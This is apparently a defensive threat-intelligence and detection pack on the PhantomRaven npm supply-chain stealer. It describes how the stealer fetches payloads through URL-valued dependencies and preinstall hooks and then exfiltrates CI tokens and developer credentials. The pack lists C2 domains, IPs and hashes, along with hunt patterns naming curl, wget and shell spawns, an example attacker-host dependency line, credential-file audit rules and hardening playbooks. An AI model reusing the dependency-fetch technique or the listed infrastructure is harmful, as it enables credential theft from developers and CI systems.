PhantomRaven — LLM-Generated npm Information Stealer via Remote Dynamic Dependencies

PhantomRaven is a financially motivated npm supply-chain campaign, active since August 2025 across at least four infrastructure waves through February 2026 and freshly reassessed by CrowdStrike Counter Adversary Operations in September 2026. The operator — a self-proclaimed bug bounty hunter active since November 2022 under aliases including jpd12, jpd13, npmhell, npmpackagejpd, npmtestdharsh, jpdhackerone11 and packagedharsh — publishes typosquatted and "slopsquatted" npm packages (names an LLM would plausibly hallucinate when asked to suggest a dependency) that declare zero dependencies in package.json but specify a Remote Dynamic Dependency (RDD): an HTTP URL in place of a semver range. When a developer or CI job runs npm install, npm itself — not the malicious package's own code — fetches a second-stage tarball from attacker infrastructure and executes it automatically via a preinstall lifecycle hook. Static analysis, SCA scanners and the npm web UI all show "0 dependencies," because the payload never touches the npm registry.

The payload harvests developer email addresses (from .gitconfig, .npmrc, environment variables, and package.json), CI/CD environment variables and tokens for GitHub Actions, GitLab CI, Jenkins and CircleCI, git/npm configuration, a full system fingerprint (OS, architecture, hostname, Node version, public IP via api64.ipify.org), and exfiltrates everything twice — once as an HTTP GET query string, once as an HTTP POST JSON body — with an unfinished WebSocket fallback (wss://yourserver.com/socket, confirmed by both CrowdStrike and Endor Labs to be a hardcoded, non-functional placeholder). CrowdStrike assesses with high confidence the malware was LLM-generated, citing verbose per-line comments, placeholder code blocks, and statistical token-analysis patterns. Endor Labs' byte-level diff across all four waves found 257 of 259 payload lines identical — only the two C2-URL lines change between waves, even as the operator rotated npm accounts (50+ disposable accounts), domains (4, all via Amazon Registrar with WHOIS privacy and zero TLS), and PHP exfil endpoint names (jpd.php → npm.php).

To date CrowdStrike has not observed PhantomRaven logs for sale on stealer log shops, assessing the operator likely uses the tool solely to manufacture "vulnerable" targets for bug-bounty submission — but the credentials it steals (npm publish tokens, CI/CD secrets, GitHub tokens) are exactly the credentials that enable a genuine second-order supply-chain compromise regardless of the original operator's intent.

Research decisions

• CrowdStrike's Sept 2026 domain list spells two domains registry.storageartifact.com / packages.storageartifact.com ("storage-artifact"); Endor Labs' Wave-3 domain is spelled package.storeartifacts.com ("store-artifacts"). These are visually similar but textually distinct strings pulled verbatim from each primary source — they are shipped as separate, separately-attributed IOC rows rather than merged or "corrected," since neither source's snapshot supports assuming they're the same string.
• Sonatype's 200+ and Endor Labs' 88 full package-name lists are preserved in full inside their own source snapshots (03-sonatype.txt, 04-endorlabs.txt) and referenced from the IOC Appendix rather than reproduced row-by-row in this report — the two names CrowdStrike directly attributed to incidents it responded to (transform-jsbi-to-bigint, sort-imports-es6-autofix) are carried into the narrative IOC table individually.
• Prompt-injection check: every fetched source was reviewed for embedded instructions directed at an AI agent (hidden text, HTML comments, "note to the AI," authority claims). None was found in any of the eight snapshots — all page content was ordinary marketing/navigation chrome plus the cited article body.

The largest single coverage gap in this pack is SaaS-hosted CI/CD compute (§5) — GitHub-hosted Actions runners, GitLab.com SaaS runners, and CircleCI cloud executors cannot carry a Falcon sensor at all. These native, non-CQL checks are the only available coverage for that surface, and a useful supplement everywhere else.

GitHub Actions

• Enable organization Audit Log streaming and review workflow run logs for npm install steps; grep job logs for the npm ≥ v12 native warning string npm warn install-scripts as a positive control — its presence means the lifecycle-script block is working as intended, and any subsequent install-scripts approve in the same log deserves review.
• Enforce org policy "Require approval for first-time contributors" and restrict which actions/orbs can run unreviewed in pull-request-triggered workflows.
• For self-hosted runners in your own cloud account, correlate job logs against VPC Flow Logs / cloud firewall logs for outbound calls to non-allowlisted hosts during the install step.

GitLab CI

• Review CI/CD job logs and the Package Registry audit events for unexpected outbound network activity during npm ci/npm install stages.
• Audit .gitlab-ci.yml across all projects for unpinned/unaudited custom images and inline scripts that shell out during dependency installation.
• Egress-filter self-hosted GitLab Runner hosts per the hardening controls in §12; SaaS runners inherit the same SaaS-hosted-compute gap as GitHub-hosted Actions.

Jenkins

• Enable the Audit Trail plugin and review build console output for preinstall/postinstall script execution and outbound curl/wget calls during dependency resolution.
• Restrict global npm/Node tool auto-installation to a pinned, internally-mirrored version; review the credentials store for long-lived tokens exposed to build steps.

CircleCI

• Enable org-level audit logging (Contexts access, orb usage) and review .circleci/config.yml across repos for unpinned or unaudited third-party orbs.
• Review job step output for preinstall-stage network calls to hosts outside the approved registry/CDN allowlist.

Linux / macOS endpoint (auditd / Endpoint Security Framework)

• Linux auditd watch rules on credential-bearing files, independent of Falcon licensing for FileOpenInfo/FileReadInfo:
  -w /home/*/.npmrc -p r -k phantomraven_cred_read
-w /home/*/.git-credentials -p r -k phantomraven_cred_read
-w /home/*/.gitconfig -p r -k phantomraven_cred_read
• macOS: Endpoint Security Framework file-open events on the same paths, or as a fallback, log show --predicate 'eventMessage contains ".npmrc"' --last 1h.

npm configuration audit (all platforms)

• Fleet-wide npm config get ignore-scripts — should return true on every CI runner at minimum (see hardening control 1, §12).
• npm install-scripts ls (npm ≥ v12) surfaces any lifecycle script currently pending developer approval — a non-empty pending list on a CI host, where no interactive approval is possible, is itself worth alerting on.

Four queries are strong Custom IOA candidates; the remaining five stay Investigate/Hunt-only pending tuning or because they are deliberately noisy triage feeds.

Q9 (IP match) is intentionally not recommended for Custom IOA promotion — three of the four IPs are single-sourced and all four are AWS EC2 addresses with mixed live/DOWN status as of the cited reports. Re-verify ownership immediately before any Prevent-tier deployment against an IP.

Action-tier mapping — read before bulk import. Falcon IOC Management supports only prevent, detect, allow and no_action; it has no hunt, enrich or pivot action. Those three are analyst-workflow tiers used in the §4 table, and they are encoded here as detect at low/medium severity, with the single-sourced caveat carried in each row's description field. The mapping is therefore: §4 prevent → CSV prevent (2+ independent sources only); §4 detect → CSV detect; §4 hunt/enrich/pivot → CSV detect at reduced severity, not a confirmed block. Only the two multi-sourced domains below are set to prevent; every single-sourced domain, IP and hash is detect by design. Behavioral and placeholder entries from §4 are deliberately absent from this CSV — they are not atomic indicators and must not be imported.

type,value,action,severity,expiration,description,tags
domain,packages.storeartifact.com,prevent,high,2027-03-18,PhantomRaven Wave-1 RDD C2 -- 4 independent sources,campaign:PhantomRaven
domain,npm.jpartifacts.com,prevent,high,2027-03-18,PhantomRaven Wave-2 RDD C2 -- CrowdStrike and Endor Labs,campaign:PhantomRaven
domain,registry.storageartifact.com,detect,medium,2026-12-18,PhantomRaven C2 domain -- single-sourced CrowdStrike Sept 2026 only,campaign:PhantomRaven
domain,packages.storageartifact.com,detect,medium,2026-12-18,PhantomRaven C2 domain -- single-sourced CrowdStrike Sept 2026 only,campaign:PhantomRaven
domain,package.storeartifacts.com,detect,medium,2026-12-18,PhantomRaven Wave-3 RDD C2 -- single-sourced Endor Labs only; reported DOWN,campaign:PhantomRaven
domain,npm.artifactsnpm.com,detect,medium,2026-12-18,PhantomRaven Wave-4 RDD C2 -- single-sourced Endor Labs only; reported LIVE Mar 2026,campaign:PhantomRaven
ipv4,54.173.15.59,detect,medium,2026-12-18,PhantomRaven Wave-1 C2 IP AWS EC2 us-east-1 -- reported DOWN; do not Prevent due to AWS IP reassignment risk,campaign:PhantomRaven
ipv4,100.26.42.247,detect,low,2026-12-18,PhantomRaven Wave-2 C2 IP -- single-sourced Endor Labs only,campaign:PhantomRaven
ipv4,13.219.250.107,detect,low,2026-12-18,PhantomRaven Wave-3 C2 IP -- single-sourced Endor Labs only; reported DOWN,campaign:PhantomRaven
ipv4,54.227.45.171,detect,low,2026-12-18,PhantomRaven Wave-4 C2 IP -- single-sourced Endor Labs only; reported LIVE Mar 2026,campaign:PhantomRaven
sha256,c31831d47fcbf52ff1f4e61838611916a4276d005a564e69946d5dac04235eed,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026; payload reused across waves so hash IOCs are perishable,campaign:PhantomRaven
sha256,95a7dcc6de46826b22c43bee7fc550f3b5e2e6cbc5f33b0c241faf523641cf63,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026,campaign:PhantomRaven
sha256,db3fe46df0a65fe9f8c99d2e11126a032a72e9814e354ce017448ce088a01e02,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026,campaign:PhantomRaven

# Not literal IOCs -- paste into a hunt runbook or SOAR playbook as review criteria
1. package.json dependency value is an HTTP(S) URL instead of a semver range (RDD)
   example seen in the wild: "ui-styles-pkg": "http://[attacker-host]/[package].tgz"
2. npm/node (ParentBaseFileName) spawns curl/wget/powershell/sh/bash (FileName) during
   or immediately after an npm install -- see Q1/Q6
3. node/npm resolves a domain outside registry.npmjs.org + your approved CDN allowlist
   shortly after process start -- see Q2/Q7
4. node/npm resolves api64.ipify.org (public-IP fingerprint step) -- see Q5
5. Exfiltration endpoint path pattern: /jpd.php or /npm.php on a non-registry host
   (PHP endpoint filename has rotated between waves -- match the pattern, not the name)
6. C2 tarball package.json author field = "JPD" (confirmed unchanged across all 4 waves
   per Endor Labs byte-level diff) -- useful if you recover a suspect tarball for analysis
7. npm account naming pattern containing "jpd" or "dharsh" in any arrangement, or
   sequential numbered accounts (e.g. jpdtester01 .. jpdtester13) -- npm registry-side
   signal, not endpoint telemetry

# CrowdStrike-attributed (Sept 2026), highest confidence:
transform-jsbi-to-bigint       (npm account: jpdhellonpm1)
sort-imports-es6-autofix       (npm account: jpd15)

# Attacker aliases / npm accounts named across sources:
jpd12, jpd13, npmhell, npmpackagejpd, npmtestdharsh, jpdhackerone11,
packagedharsh, jpdtester01@hotmail.com .. jpdtester13@gmail.com

# Full package name lists (200+ Wave-1 names, 88 Wave-2/3/4 names) are NOT
# reproduced here to avoid shipping an unmaintainable, quickly-stale blocklist.
# Screen your dependency tree against the complete lists preserved verbatim in:
#   PhantomRaven-npm-Stealer-Hunt-sources/03-sonatype.txt   (200+ names)
#   PhantomRaven-npm-Stealer-Hunt-sources/04-endorlabs.txt  (88 names, wave-tagged)
# via your SCA tool (Sonatype, Endor Labs, Socket.dev, or npm audit equivalent).

[ ] npm config get ignore-scripts = true on every CI runner image
[ ] npm --version >= 12 fleet-wide (dev workstations + CI images)
[ ] npm install-scripts ls reviewed for pending/approved lifecycle scripts
[ ] .npmrc registry points at internal proxy, not public registry.npmjs.org directly
[ ] No long-lived NPM_TOKEN/PAT in CI env vars for publish steps (OIDC preferred)
[ ] CI runner egress allowlisted (self-hosted); SaaS-hosted runner gap documented
[ ] Org 2FA + provenance attestation enforced for internally-published packages
[ ] SCA tool screening dependency tree against current PhantomRaven package lists

Controls target the two surfaces PhantomRaven actually touches: the npm/Node dependency-install pipeline, and CI/CD credential lifecycle. Two to four controls per tier, each cited to the strongest available authority.

Playbook A — npm Install-Time Lifecycle Script Lockdown

MITRE: T1195.001, T1072 → M1038, M1051   Estimated deploy time: 1–2 hours fleet config push, longer for the npm v12 image rebuild   Prerequisites: RMM/MDM or CI image-build pipeline access; inventory of packages that legitimately need lifecycle scripts (node-gyp/sharp/esbuild/puppeteer/playwright)   Reboot required: No

Step 1 — Enforce ignore-scripts globally

What it does: Stops npm from auto-executing preinstall/install/postinstall scripts. Why it works: PhantomRaven's entire execution path depends on the preinstall hook firing unattended.

# Set at the user/CI level (~/.npmrc or the CI image's global npmrc)
npm config set ignore-scripts true

# Or enforce via a project-level .npmrc committed to the repo (defense in depth):
echo "ignore-scripts=true" >> .npmrc

Verify: npm config get ignore-scripts → true

Rollback: npm config delete ignore-scripts. Packages needing native builds will fail silently until rebuilt explicitly: npm rebuild <pkg> --foreground-scripts.

Step 2 — Upgrade npm to v12+ and adopt the native install-scripts workflow

What it does: npm ≥ v12 blocks preinstall scripts from dependencies by default and requires explicit developer approval. Why it works: even if Step 1 is later reverted somewhere, this is a second, independent layer.

# CI base image (Dockerfile example)
RUN npm install -g npm@latest

# Review any pending blocked scripts before approving:
npm install-scripts ls
npm install-scripts approve <package>   # only for known-good packages
npm install-scripts deny <package>      # for anything unrecognized

Verify: npm --version ≥ 12; a test install of a package with a lifecycle script shows the npm warn install-scripts block message.

Rollback: pin the base image / nvm version back to the prior npm release. This removes the block-by-default protection — only do this to unblock a specific failing build step, and re-evaluate that step first.

Playbook B — CI/CD Runner Egress Allowlisting & Secret Lifecycle Hardening

MITRE: T1552.007, T1071.001 → M1037, M1041   Estimated deploy time: 1 day per pilot ring for OIDC migration; 2–4 hours per runner pool for egress rules   Prerequisites: Cloud account access (AWS/GCP/Azure) for self-hosted runner security groups; CI platform admin rights to configure OIDC trust   Reboot required: No

Step 1 — Migrate npm publish credentials to OIDC (GitHub Actions example)

What it does: Replaces a long-lived NPM_TOKEN secret with a short-lived, workflow-scoped OIDC token. Why it works: a token PhantomRaven steals from a compromised runner is worthless once it expires within the job's lifetime.

# .github/workflows/publish.yml (excerpt)
permissions:
  id-token: write
  contents: read
jobs:
  publish:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '22'
          registry-url: 'https://registry.npmjs.org'
      - run: npm publish --provenance --access public
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN_FALLBACK_ONLY }}   # remove once Trusted Publishing is confirmed working

Verify: the published package's npm page shows a "Provenance" badge; the org secret store no longer lists a permanent NPM_TOKEN used by this workflow.

Rollback: restore the scoped static NPM_TOKEN secret (rotate it first) if OIDC/Trusted Publishing is not yet supported for your package's publish path.

Step 2 — Default-deny egress on self-hosted runners (AWS example)

What it does: Restricts a self-hosted runner's outbound traffic to an explicit allowlist. Why it works: blocks the RDD fetch and the exfiltration call even if the lifecycle-script block (Playbook A) is somehow bypassed.

# Example: replace an existing broad-egress security group rule with a narrow allowlist
aws ec2 revoke-security-group-egress --group-id sg-0123456789abcdef0 \
  --protocol -1 --port -1 --cidr 0.0.0.0/0

aws ec2 authorize-security-group-egress --group-id sg-0123456789abcdef0 \
  --protocol tcp --port 443 --cidr <internal-registry-proxy-cidr>
aws ec2 authorize-security-group-egress --group-id sg-0123456789abcdef0 \
  --protocol tcp --port 443 --cidr <source-control-cidr>

Verify: curl -m 5 https://example-non-allowlisted-host.test from the runner times out; VPC Flow Logs show the denied attempt.

Rollback: re-authorize the original broad egress rule (0.0.0.0/0) if the allowlist breaks a required build dependency, then add the missing destination to the allowlist instead of leaving the rule fully open.

See §11 for the full Detection Validation Gates this coverage assumes: telemetry readiness, a 7-day benign baseline, lab-only positive testing, and the specific promotion criteria for each query.

Note on source [06]: koi.ai was Koi Security's domain at the time of PhantomRaven's original October 2025 disclosure. Koi Security was subsequently acquired by Palo Alto Networks, and as of this research (2026-09-18) the URL redirects to an unrelated "Cortex Agentic Endpoint Security" marketing page with no PhantomRaven content. Snapshot 06 preserves that redirect target for audit purposes. All facts originally attributed to Koi Security in this pack are corroborated through independent syndication in sources [02], [05], [07] and [08], each of which quotes or paraphrases the original Koi research directly.

Prompt-injection check: all eight fetched sources were reviewed for embedded instructions directed at an AI agent. None was found — no hidden text, HTML comments, or "note to the AI" content in any snapshot. No source attempted to redirect this research, claim authorization to skip a step, or influence a Prevent-tier IOC decision.